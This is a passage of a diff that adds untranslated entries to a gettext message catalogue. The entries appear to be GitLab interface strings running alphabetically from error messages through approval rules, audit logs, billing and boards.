+msgstr ""
+
+msgid "An error occurred while loading merge requests."
+msgstr ""
+
+msgid "An error occurred while loading project creation UI"
+msgstr ""
+
+msgid "An error occurred while loading the access tokens form, please try again."
+msgstr ""
+
+msgid "An error occurred while loading the data. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading the file"
+msgstr ""
+
+msgid "An error occurred while loading the file content."
+msgstr ""
+
+msgid "An error occurred while loading the file."
+msgstr ""
+
+msgid "An error occurred while loading the file. Please try again later."
+msgstr ""
+
+msgid "An error occurred while loading the file. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading the merge request changes."
+msgstr ""
+
+msgid "An error occurred while loading the merge request version data."
+msgstr ""
+
+msgid "An error occurred while loading the merge request."
+msgstr ""
+
+msgid "An error occurred while loading the notification settings. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
+msgid "An error occurred while loading the pipelines jobs."
+msgstr ""
+
+msgid "An error occurred while loading your content. Please try again."
+msgstr ""
+
+msgid "An error occurred while making the request."
+msgstr ""
+
+msgid "An error occurred while moving the issue."
+msgstr ""
+
+msgid "An error occurred while parsing recent searches"
+msgstr ""
+
+msgid "An error occurred while parsing the file."
+msgstr ""
+
+msgid "An error occurred while removing epics."
+msgstr ""
+
+msgid "An error occurred while removing issues."
+msgstr ""
+
+msgid "An error occurred while rendering preview broadcast message"
+msgstr ""
+
+msgid "An error occurred while rendering the editor"
+msgstr ""
+
+msgid "An error occurred while reordering issues."
+msgstr ""
+
+msgid "An error occurred while requesting data from the Jira service"
+msgstr ""
+
+msgid "An error occurred while retrieving calendar activity"
+msgstr ""
+
+msgid "An error occurred while retrieving diff"
+msgstr ""
+
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving changes: %{error}"
+msgstr ""
+
+msgid "An error occurred while searching users."
+msgstr ""
+
+msgid "An error occurred while subscribing to notifications."
+msgstr ""
+
+msgid "An error occurred while triggering the job."
+msgstr ""
+
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
+msgid "An error occurred while trying to run a new pipeline for this Merge Request."
+msgstr ""
+
+msgid "An error occurred while unsubscribing to notifications."
+msgstr ""
+
+msgid "An error occurred while updating approvers"
+msgstr ""
+
+msgid "An error occurred while updating assignees."
+msgstr ""
+
+msgid "An error occurred while updating configuration."
+msgstr ""
+
+msgid "An error occurred while updating labels."
+msgstr ""
+
+msgid "An error occurred while updating the comment"
+msgstr ""
+
+msgid "An error occurred while updating the configuration."
+msgstr ""
+
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
+msgid "An error occurred while updating the notification settings. Please try again."
+msgstr ""
+
+msgid "An error occurred while validating group path"
+msgstr ""
+
+msgid "An error occurred while validating username"
+msgstr ""
+
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
+msgid "An error occurred. Please try again."
+msgstr ""
+
+msgid "An example project for managing Kubernetes clusters integrated with GitLab"
+msgstr ""
+
+msgid "An example project that shows off the best practices for setting up GitLab for your own organization, including sample issues, merge requests, and milestones"
+msgstr ""
+
+msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
+msgstr ""
+
+msgid "An instance-level serverless domain already exists."
+msgstr ""
+
+msgid "An issue already exists"
+msgstr ""
+
+msgid "An issue title is required"
+msgstr ""
+
+msgid "An unauthenticated user"
+msgstr ""
+
+msgid "An unexpected error occurred while checking the project environment."
+msgstr ""
+
+msgid "An unexpected error occurred while checking the project runners."
+msgstr ""
+
+msgid "An unexpected error occurred while communicating with the Web Terminal."
+msgstr ""
+
+msgid "An unexpected error occurred while starting the Web Terminal."
+msgstr ""
+
+msgid "An unexpected error occurred while stopping the Web Terminal."
+msgstr ""
+
+msgid "An unknown error occurred while loading this graph."
+msgstr ""
+
+msgid "An unknown error occurred."
+msgstr ""
+
+msgid "Analytics"
+msgstr ""
+
+msgid "Analyze a review version of your web application."
+msgstr ""
+
+msgid "Analyze your dependencies for known vulnerabilities."
+msgstr ""
+
+msgid "Analyze your source code and git history for secrets."
+msgstr ""
+
+msgid "Analyze your source code for known vulnerabilities."
+msgstr ""
+
+msgid "Ancestors"
+msgstr ""
+
+msgid "And this registration token:"
+msgstr ""
+
+msgid "Anonymous"
+msgstr ""
+
+msgid "Another action is currently in progress"
+msgstr ""
+
+msgid "Another issue tracker is already in use. Only one issue tracker service can be active at a time"
+msgstr ""
+
+msgid "Anti-spam verification"
+msgstr ""
+
+msgid "Any"
+msgstr ""
+
+msgid "Any %{header}"
+msgstr ""
+
+msgid "Any Author"
+msgstr ""
+
+msgid "Any branch"
+msgstr ""
+
+msgid "Any eligible user"
+msgstr ""
+
+msgid "Any encrypted tokens"
+msgstr ""
+
+msgid "Any files larger than this limit will not be indexed, and thus will not be searchable."
+msgstr ""
+
+msgid "Any label"
+msgstr ""
+
+msgid "Any member with at least Developer permissions on the project."
+msgstr ""
+
+msgid "Any milestone"
+msgstr ""
+
+msgid "Any namespace"
+msgstr ""
+
+msgid "Any user"
+msgstr ""
+
+msgid "App ID"
+msgstr ""
+
+msgid "Appearance"
+msgstr ""
+
+msgid "Appearance was successfully created."
+msgstr ""
+
+msgid "Appearance was successfully updated."
+msgstr ""
+
+msgid "Append the comment with %{shrug}"
+msgstr ""
+
+msgid "Append the comment with %{tableflip}"
+msgstr ""
+
+msgid "Application"
+msgstr ""
+
+msgid "Application ID"
+msgstr ""
+
+msgid "Application limits saved successfully"
+msgstr ""
+
+msgid "Application settings saved successfully"
+msgstr ""
+
+msgid "Application settings update failed"
+msgstr ""
+
+msgid "Application uninstalled but failed to destroy: %{error_message}"
+msgstr ""
+
+msgid "Application was successfully destroyed."
+msgstr ""
+
+msgid "Application was successfully updated."
+msgstr ""
+
+msgid "Application: %{name}"
+msgstr ""
+
+msgid "Applications"
+msgstr ""
+
+msgid "Applied"
+msgstr ""
+
+msgid "Apply"
+msgstr ""
+
+msgid "Apply a label"
+msgstr ""
+
+msgid "Apply a template"
+msgstr ""
+
+msgid "Apply changes"
+msgstr ""
+
+msgid "Apply suggestion"
+msgstr ""
+
+msgid "Apply suggestions"
+msgstr ""
+
+msgid "Apply template"
+msgstr ""
+
+msgid "Apply this approval rule to any branch or a specific protected branch."
+msgstr ""
+
+msgid "Applying"
+msgstr ""
+
+msgid "Applying a template will replace the existing issue description. Any changes you have made will be lost."
+msgstr ""
+
+msgid "Applying command"
+msgstr ""
+
+msgid "Applying command to %{commandDescription}"
+msgstr ""
+
+msgid "Applying multiple commands"
+msgstr ""
+
+msgid "Applying suggestion..."
+msgstr ""
+
+msgid "Applying suggestions..."
+msgstr ""
+
+msgid "Approval Status"
+msgstr ""
+
+msgid "Approval rules"
+msgstr ""
+
+msgid "Approval rules reset to project defaults"
+msgstr ""
+
+msgid "Approval settings"
+msgstr ""
+
+msgid "ApprovalRuleRemove|%d member"
+msgid_plural "ApprovalRuleRemove|%d members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleRemove|Approvals from this member are not revoked."
+msgid_plural "ApprovalRuleRemove|Approvals from these members are not revoked."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleRemove|You are about to remove the %{name} approver group which has %{nMembers}."
+msgstr ""
+
+msgid "ApprovalRuleSummary|%d member"
+msgid_plural "ApprovalRuleSummary|%d members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
+msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
+msgid "ApprovalRule|Approvals required"
+msgstr ""
+
+msgid "ApprovalRule|Approvers"
+msgstr ""
+
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
+msgid "ApprovalRule|Name"
+msgstr ""
+
+msgid "ApprovalRule|Rule name"
+msgstr ""
+
+msgid "ApprovalRule|Target branch"
+msgstr ""
+
+msgid "ApprovalStatusTooltip|Adheres to separation of duties"
+msgstr ""
+
+msgid "ApprovalStatusTooltip|At least one rule does not adhere to separation of duties"
+msgstr ""
+
+msgid "ApprovalStatusTooltip|Fails to adhere to separation of duties"
+msgstr ""
+
+msgid "Approvals are optional."
+msgstr ""
+
+msgid "Approvals|Section: %section"
+msgstr ""
+
+msgid "Approve"
+msgstr ""
+
+msgid "Approve a merge request"
+msgstr ""
+
+msgid "Approve the current merge request."
+msgstr ""
+
+msgid "Approved"
+msgstr ""
+
+msgid "Approved MRs"
+msgstr ""
+
+msgid "Approved the current merge request."
+msgstr ""
+
+msgid "Approved-By"
+msgstr ""
+
+msgid "Approver"
+msgstr ""
+
+msgid "Approvers"
+msgstr ""
+
+msgid "Apr"
+msgstr ""
+
+msgid "April"
+msgstr ""
+
+msgid "Architecture not found for OS"
+msgstr ""
+
+msgid "Archive"
+msgstr ""
+
+msgid "Archive jobs"
+msgstr ""
+
+msgid "Archive project"
+msgstr ""
+
+msgid "Archive test case"
+msgstr ""
+
+msgid "Archived"
+msgstr ""
+
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
+msgid "Archived in this version"
+msgstr ""
+
+msgid "Archived project! Repository and other project resources are read only"
+msgstr ""
+
+msgid "Archived project! Repository and other project resources are read-only"
+msgstr ""
+
+msgid "Archived projects"
+msgstr ""
+
+msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
+msgstr ""
+
+msgid "Are you sure that you want to archive this project?"
+msgstr ""
+
+msgid "Are you sure that you want to unarchive this project?"
+msgstr ""
+
+msgid "Are you sure you want to cancel editing this comment?"
+msgstr ""
+
+msgid "Are you sure you want to close this blocked issue?"
+msgstr ""
+
+msgid "Are you sure you want to delete %{name}?"
+msgstr ""
+
+msgid "Are you sure you want to delete these artifacts?"
+msgstr ""
+
+msgid "Are you sure you want to delete this %{typeOfComment}?"
+msgstr ""
+
+msgid "Are you sure you want to delete this SSH key?"
+msgstr ""
+
+msgid "Are you sure you want to delete this device? This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to delete this pipeline schedule?"
+msgstr ""
+
+msgid "Are you sure you want to delete this pipeline? Doing so will expire all pipeline caches and delete all related objects, such as builds, logs, artifacts, and triggers. This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to deploy this environment?"
+msgstr ""
+
+msgid "Are you sure you want to discard this comment?"
+msgstr ""
+
+msgid "Are you sure you want to discard your changes?"
+msgstr ""
+
+msgid "Are you sure you want to erase this build?"
+msgstr ""
+
+msgid "Are you sure you want to import %d repository?"
+msgid_plural "Are you sure you want to import %d repositories?"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
+msgid "Are you sure you want to lose unsaved changes?"
+msgstr ""
+
+msgid "Are you sure you want to lose your issue information?"
+msgstr ""
+
+msgid "Are you sure you want to merge immediately?"
+msgstr ""
+
+msgid "Are you sure you want to re-deploy this environment?"
+msgstr ""
+
+msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
+msgstr ""
+
+msgid "Are you sure you want to reindex?"
+msgstr ""
+
+msgid "Are you sure you want to remove %{group_name}?"
+msgstr ""
+
+msgid "Are you sure you want to remove the attachment?"
+msgstr ""
+
+msgid "Are you sure you want to remove the license?"
+msgstr ""
+
+msgid "Are you sure you want to remove this identity?"
+msgstr ""
+
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
+msgid "Are you sure you want to reset the SCIM token? SCIM provisioning will stop working until the new token is updated."
+msgstr ""
+
+msgid "Are you sure you want to reset the health check token?"
+msgstr ""
+
+msgid "Are you sure you want to reset the registration token?"
+msgstr ""
+
+msgid "Are you sure you want to retry this migration?"
+msgstr ""
+
+msgid "Are you sure you want to revoke this %{type}? This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to revoke this nickname?"
+msgstr ""
+
+msgid "Are you sure you want to revoke this personal access token? This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to stop this environment?"
+msgstr ""
+
+msgid "Are you sure you want to unlock %{path_lock_path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
+msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
+msgstr ""
+
+msgid "Are you sure?"
+msgstr ""
+
+msgid "Are you sure? All commits that were signed with this GPG key will be unverified."
+msgstr ""
+
+msgid "Are you sure? Removing this GPG key does not affect already signed commits."
+msgstr ""
+
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
+
+msgid "Are you sure? This will invalidate your registered applications and U2F / WebAuthn devices."
+msgstr ""
+
+msgid "Are you sure? This will invalidate your registered applications and U2F devices."
+msgstr ""
+
+msgid "Arrange charts"
+msgstr ""
+
+msgid "Artifact"
+msgstr ""
+
+msgid "Artifact could not be deleted."
+msgstr ""
+
+msgid "Artifact was successfully deleted."
+msgstr ""
+
+msgid "Artifacts"
+msgstr ""
+
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
+msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
+msgstr ""
+
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
+
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
+
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
+
+msgid "Ascending"
+msgstr ""
+
+msgid "Ask your group maintainer to set up a group runner."
+msgstr ""
+
+msgid "Assertion consumer service URL"
+msgstr ""
+
+msgid "Assets"
+msgstr ""
+
+msgid "Assets:"
+msgstr ""
+
+msgid "Assign"
+msgstr ""
+
+msgid "Assign Iteration"
+msgstr ""
+
+msgid "Assign To"
+msgstr ""
+
+msgid "Assign custom color like #FF0000"
+msgstr ""
+
+msgid "Assign labels"
+msgstr ""
+
+msgid "Assign milestone"
+msgstr ""
+
+msgid "Assign reviewer"
+msgstr ""
+
+msgid "Assign reviewer(s)"
+msgstr ""
+
+msgid "Assign some issues to this milestone."
+msgstr ""
+
+msgid "Assign to"
+msgstr ""
+
+msgid "Assign to commenting user"
+msgstr ""
+
+msgid "Assign yourself to these issues"
+msgstr ""
+
+msgid "Assign yourself to this issue"
+msgstr ""
+
+msgid "Assigned %{assignee_users_sentence}."
+msgstr ""
+
+msgid "Assigned %{reviewer_users_sentence} as %{reviewer_text}."
+msgstr ""
+
+msgid "Assigned Issues"
+msgstr ""
+
+msgid "Assigned Merge Requests"
+msgstr ""
+
+msgid "Assigned projects"
+msgstr ""
+
+msgid "Assigned to %{assigneeName}"
+msgstr ""
+
+msgid "Assigned to %{assignee_name}"
+msgstr ""
+
+msgid "Assigned to %{name}"
+msgstr ""
+
+msgid "Assigned to me"
+msgstr ""
+
+msgid "Assigned to you"
+msgstr ""
+
+msgid "Assignee"
+msgid_plural "%d Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Assignee has no permissions"
+msgstr ""
+
+msgid "Assignee lists not available with your current license"
+msgstr ""
+
+msgid "Assignee lists show all issues assigned to the selected user."
+msgstr ""
+
+msgid "Assignee(s)"
+msgstr ""
+
+msgid "Assignees"
+msgstr ""
+
+msgid "Assigns %{assignee_users_sentence}."
+msgstr ""
+
+msgid "Assigns %{reviewer_users_sentence} as %{reviewer_text}."
+msgstr ""
+
+msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
+msgstr ""
+
+msgid "At least one logging option is required to be enabled"
+msgstr ""
+
+msgid "At least one of group_id or project_id must be specified"
+msgstr ""
+
+msgid "At least one of your Personal Access Tokens is expired, but expiration enforcement is disabled. %{generate_new}"
+msgstr ""
+
+msgid "At least one of your Personal Access Tokens will expire soon, but expiration enforcement is disabled. %{generate_new}"
+msgstr ""
+
+msgid "At risk"
+msgstr ""
+
+msgid "Attach a file"
+msgstr ""
+
+msgid "Attach a file by drag &amp; drop or %{upload_link}"
+msgstr ""
+
+msgid "Attaching a file"
+msgid_plural "Attaching %d files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Attaching the file failed."
+msgstr ""
+
+msgid "Audit Events"
+msgstr ""
+
+msgid "Audit Events is a way to keep track of important events that happened in GitLab."
+msgstr ""
+
+msgid "AuditLogs|(removed)"
+msgstr ""
+
+msgid "AuditLogs|Action"
+msgstr ""
+
+msgid "AuditLogs|Author"
+msgstr ""
+
+msgid "AuditLogs|Date"
+msgstr ""
+
+msgid "AuditLogs|Failed to find %{type}. Please search for another %{type}."
+msgstr ""
+
+msgid "AuditLogs|Failed to find %{type}. Please try again."
+msgstr ""
+
+msgid "AuditLogs|Group Events"
+msgstr ""
+
+msgid "AuditLogs|IP Address"
+msgstr ""
+
+msgid "AuditLogs|Member Events"
+msgstr ""
+
+msgid "AuditLogs|No matching %{type} found."
+msgstr ""
+
+msgid "AuditLogs|Object"
+msgstr ""
+
+msgid "AuditLogs|Project Events"
+msgstr ""
+
+msgid "AuditLogs|Target"
+msgstr ""
+
+msgid "AuditLogs|This month"
+msgstr ""
+
+msgid "AuditLogs|User Events"
+msgstr ""
+
+msgid "Aug"
+msgstr ""
+
+msgid "August"
+msgstr ""
+
+msgid "Authenticate"
+msgstr ""
+
+msgid "Authenticate with GitHub"
+msgstr ""
+
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
+msgid "Authenticating"
+msgstr ""
+
+msgid "Authentication"
+msgstr ""
+
+msgid "Authentication Failure"
+msgstr ""
+
+msgid "Authentication Log"
+msgstr ""
+
+msgid "Authentication failed: %{error_message}"
+msgstr ""
+
+msgid "Authentication log"
+msgstr ""
+
+msgid "Authentication method"
+msgstr ""
+
+msgid "Authentication method updated"
+msgstr ""
+
+msgid "Authentication via U2F device failed."
+msgstr ""
+
+msgid "Authentication via WebAuthn device failed."
+msgstr ""
+
+msgid "Author"
+msgstr ""
+
+msgid "Author: %{author_name}"
+msgstr ""
+
+msgid "Authored %{timeago}"
+msgstr ""
+
+msgid "Authored %{timeago} by %{author}"
+msgstr ""
+
+msgid "Authorization code:"
+msgstr ""
+
+msgid "Authorization key"
+msgstr ""
+
+msgid "Authorization required"
+msgstr ""
+
+msgid "Authorization was granted by entering your username and password in the application."
+msgstr ""
+
+msgid "Authorize"
+msgstr ""
+
+msgid "Authorize %{link_to_client} to use your account?"
+msgstr ""
+
+msgid "Authorize %{user} to use your account?"
+msgstr ""
+
+msgid "Authorized %{new_chat_name}"
+msgstr ""
+
+msgid "Authorized At"
+msgstr ""
+
+msgid "Authorized applications (%{size})"
+msgstr ""
+
+msgid "Authors: %{authors}"
+msgstr ""
+
+msgid "Auto DevOps"
+msgstr ""
+
+msgid "Auto DevOps enabled"
+msgstr ""
+
+msgid "Auto DevOps, runners and job artifacts"
+msgstr ""
+
+msgid "Auto stop successfully canceled."
+msgstr ""
+
+msgid "Auto-cancel redundant pipelines"
+msgstr ""
+
+msgid "Auto-close referenced issues on default branch"
+msgstr ""
+
+msgid "AutoDevOps|%{auto_devops_start}Automate building, testing, and deploying%{auto_devops_end} your applications based on your continuous integration and delivery configuration. %{quickstart_start}How do I get started?%{quickstart_end}"
+msgstr ""
+
+msgid "AutoDevOps|Auto DevOps"
+msgstr ""
+
+msgid "AutoDevOps|Auto DevOps documentation"
+msgstr ""
+
+msgid "AutoDevOps|Dismiss Auto DevOps box"
+msgstr ""
+
+msgid "AutoDevOps|Enable in settings"
+msgstr ""
+
+msgid "AutoDevOps|It will automatically build, test, and deploy your application based on a predefined CI/CD configuration."
+msgstr ""
+
+msgid "AutoDevOps|Learn more in the %{link_to_documentation}"
+msgstr ""
+
+msgid "AutoDevOps|The Auto DevOps pipeline has been enabled and will be used if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "AutoRemediation| 1 Merge Request"
+msgstr ""
+
+msgid "AutoRemediation|%{mrsCount} ready for review"
+msgstr ""
+
+msgid "AutoRemediation|Auto-fix"
+msgstr ""
+
+msgid "AutoRemediation|Auto-fix solutions"
+msgstr ""
+
+msgid "AutoRemediation|If you're using dependency and/or container scanning, and auto-fix is enabled, auto-fix automatically creates merge requests with fixes to vulnerabilities."
+msgstr ""
+
+msgid "AutoRemediation|Introducing GitLab auto-fix"
+msgstr ""
+
+msgid "AutoRollback|Automatic rollbacks start when a critical alert is triggered. If the last successful deployment fails to roll back automatically, it can still be done manually."
+msgstr ""
+
+msgid "AutoRollback|Automatically roll back to the last successful deployment when a critical problem is detected."
+msgstr ""
+
+msgid "AutoRollback|Enable automatic rollbacks"
+msgstr ""
+
+msgid "Autocomplete"
+msgstr ""
+
+msgid "Autocomplete description"
+msgstr ""
+
+msgid "Autocomplete hint"
+msgstr ""
+
+msgid "Autocomplete usage hint"
+msgstr ""
+
+msgid "Automatic certificate management using %{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}"
+msgstr ""
+
+msgid "Automatic certificate management using Let's Encrypt"
+msgstr ""
+
+msgid "Automatic deployment rollbacks"
+msgstr ""
+
+msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgstr ""
+
+msgid "Automatically create merge requests for vulnerabilities that have fixes available."
+msgstr ""
+
+msgid "Automatically resolved"
+msgstr ""
+
+msgid "Automatically update this project's branches and tags from the upstream repository every hour."
+msgstr ""
+
+msgid "Autosave|Note"
+msgstr ""
+
+msgid "Available"
+msgstr ""
+
+msgid "Available ID"
+msgstr ""
+
+msgid "Available for dependency and container scanning"
+msgstr ""
+
+msgid "Available group runners: %{runners}"
+msgstr ""
+
+msgid "Available runners: %{runners}"
+msgstr ""
+
+msgid "Available shared runners:"
+msgstr ""
+
+msgid "Available specific runners"
+msgstr ""
+
+msgid "Avatar for %{assigneeName}"
+msgstr ""
+
+msgid "Avatar for %{name}"
+msgstr ""
+
+msgid "Avatar will be removed. Are you sure?"
+msgstr ""
+
+msgid "Average per day: %{average}"
+msgstr ""
+
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
+msgid "Back to page %{number}"
+msgstr ""
+
+msgid "Background Color"
+msgstr ""
+
+msgid "Background Jobs"
+msgstr ""
+
+msgid "Background color"
+msgstr ""
+
+msgid "Badges"
+msgstr ""
+
+msgid "Badges|Add badge"
+msgstr ""
+
+msgid "Badges|Adding the badge failed, please check the entered URLs and try again."
+msgstr ""
+
+msgid "Badges|Badge image URL"
+msgstr ""
+
+msgid "Badges|Badge image preview"
+msgstr ""
+
+msgid "Badges|Badge saved."
+msgstr ""
+
+msgid "Badges|Delete badge?"
+msgstr ""
+
+msgid "Badges|Deleting the badge failed, please try again."
+msgstr ""
+
+msgid "Badges|Enter a valid URL"
+msgstr ""
+
+msgid "Badges|Example: %{exampleUrl}"
+msgstr ""
+
+msgid "Badges|Group Badge"
+msgstr ""
+
+msgid "Badges|Link"
+msgstr ""
+
+msgid "Badges|Name"
+msgstr ""
+
+msgid "Badges|New badge added."
+msgstr ""
+
+msgid "Badges|No badge image"
+msgstr ""
+
+msgid "Badges|No image to preview"
+msgstr ""
+
+msgid "Badges|Project Badge"
+msgstr ""
+
+msgid "Badges|Reload badge image"
+msgstr ""
+
+msgid "Badges|Save changes"
+msgstr ""
+
+msgid "Badges|Saving the badge failed, please check the entered URLs and try again."
+msgstr ""
+
+msgid "Badges|Supported %{docsLinkStart}variables%{docsLinkEnd}: %{placeholders}"
+msgstr ""
+
+msgid "Badges|The badge was deleted."
+msgstr ""
+
+msgid "Badges|This group has no badges"
+msgstr ""
+
+msgid "Badges|This project has no badges"
+msgstr ""
+
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
+
+msgid "Badges|Your badges"
+msgstr ""
+
+msgid "Balsamiq file could not be loaded."
+msgstr ""
+
+msgid "BambooService|A continuous integration and build server"
+msgstr ""
+
+msgid "BambooService|A user with API access, if applicable"
+msgstr ""
+
+msgid "BambooService|Atlassian Bamboo CI"
+msgstr ""
+
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
+msgid "BambooService|Bamboo build plan key like KEY"
+msgstr ""
+
+msgid "BambooService|Bamboo root URL like https://bamboo.example.com"
+msgstr ""
+
+msgid "BambooService|You must set up automatic revision labeling and a repository trigger in Bamboo."
+msgstr ""
+
+msgid "Based on"
+msgstr ""
+
+msgid "Be careful. Changing the project's namespace can have unintended side effects."
+msgstr ""
+
+msgid "Be careful. Renaming a project's repository can have unintended side effects."
+msgstr ""
+
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
+msgid "Begin with the selected commit"
+msgstr ""
+
+msgid "Below are the fingerprints for the current instance SSH host keys."
+msgstr ""
+
+msgid "Below you will find all the groups that are public."
+msgstr ""
+
+msgid "Beta"
+msgstr ""
+
+msgid "Bi-weekly code coverage"
+msgstr ""
+
+msgid "Billable Users"
+msgstr ""
+
+msgid "Billing"
+msgstr ""
+
+msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
+msgstr ""
+
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
+
+msgid "BillingPlans|Congratulations, your free trial is activated."
+msgstr ""
+
+msgid "BillingPlans|End of availability for the Bronze Plan"
+msgstr ""
+
+msgid "BillingPlans|Free upgrade!"
+msgstr ""
+
+msgid "BillingPlans|If you would like to downgrade your plan please contact %{support_link_start}Customer Support%{support_link_end}."
+msgstr ""
+
+msgid "BillingPlans|Learn more about each plan by reading our %{faq_link}, or start a free 30-day trial of GitLab.com Ultimate."
+msgstr ""
+
+msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
+msgstr ""
+
+msgid "BillingPlans|Manage plan"
+msgstr ""
+
+msgid "BillingPlans|Pricing page"
+msgstr ""
+
+msgid "BillingPlans|See all %{plan_name} features"
+msgstr ""
+
+msgid "BillingPlans|This group uses the plan associated with its parent group."
+msgstr ""
+
+msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
+msgstr ""
+
+msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
+msgstr ""
+
+msgid "BillingPlans|Your GitLab.com %{plan} trial will %{strong_open}expire after %{expiration_date}%{strong_close}. You can retain access to the %{plan} features by upgrading below."
+msgstr ""
+
+msgid "BillingPlans|Your GitLab.com trial expired on %{expiration_date}. You can restore access to the features at any time by upgrading below."
+msgstr ""
+
+msgid "BillingPlans|billed annually at %{price_per_year}"
+msgstr ""
+
+msgid "BillingPlans|for the remainder of your subscription"
+msgstr ""
+
+msgid "BillingPlans|frequently asked questions"
+msgstr ""
+
+msgid "BillingPlans|monthly"
+msgstr ""
+
+msgid "BillingPlans|per user"
+msgstr ""
+
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
+msgid "BillingPlan|Upgrade"
+msgstr ""
+
+msgid "BillingPlan|Upgrade for free"
+msgstr ""
+
+msgid "Billing|An email address is only visible for users with public emails."
+msgstr ""
+
+msgid "Billing|An error occurred while loading billable members list"
+msgstr ""
+
+msgid "Billing|An error occurred while removing a billable member"
+msgstr ""
+
+msgid "Billing|Enter at least three characters to search."
+msgstr ""
+
+msgid "Billing|Group"
+msgstr ""
+
+msgid "Billing|No users to display."
+msgstr ""
+
+msgid "Billing|Private"
+msgstr ""
+
+msgid "Billing|Remove user %{username} from your subscription"
+msgstr ""
+
+msgid "Billing|Type %{username} to confirm"
+msgstr ""
+
+msgid "Billing|Type to search"
+msgstr ""
+
+msgid "Billing|User was successfully removed"
+msgstr ""
+
+msgid "Billing|Users occupying seats in"
+msgstr ""
+
+msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
+msgstr ""
+
+msgid "Bitbucket Server Import"
+msgstr ""
+
+msgid "Bitbucket Server import"
+msgstr ""
+
+msgid "Bitbucket import"
+msgstr ""
+
+msgid "Blame"
+msgstr ""
+
+msgid "Block user"
+msgstr ""
+
+msgid "Blocked"
+msgstr ""
+
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Blocked issue"
+msgstr ""
+
+msgid "Blocking"
+msgstr ""
+
+msgid "Blocking issues"
+msgstr ""
+
+msgid "Blocks"
+msgstr ""
+
+msgid "Blog"
+msgstr ""
+
+msgid "Board scope affects which issues are displayed for anyone who visits this board"
+msgstr ""
+
+msgid "BoardNewIssue|No matching results"
+msgstr ""
+
+msgid "BoardNewIssue|Projects"
+msgstr ""
+
+msgid "BoardNewIssue|Search projects"
+msgstr ""
+
+msgid "BoardNewIssue|Select a project"
+msgstr ""
+
+msgid "Boards"
+msgstr ""
+
+msgid "Boards and Board Lists"
+msgstr ""
+
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Boards|An error occurred while creating the issue. Please try again."
+msgstr ""
+
+msgid "Boards|An error occurred while creating the list. Please try again."
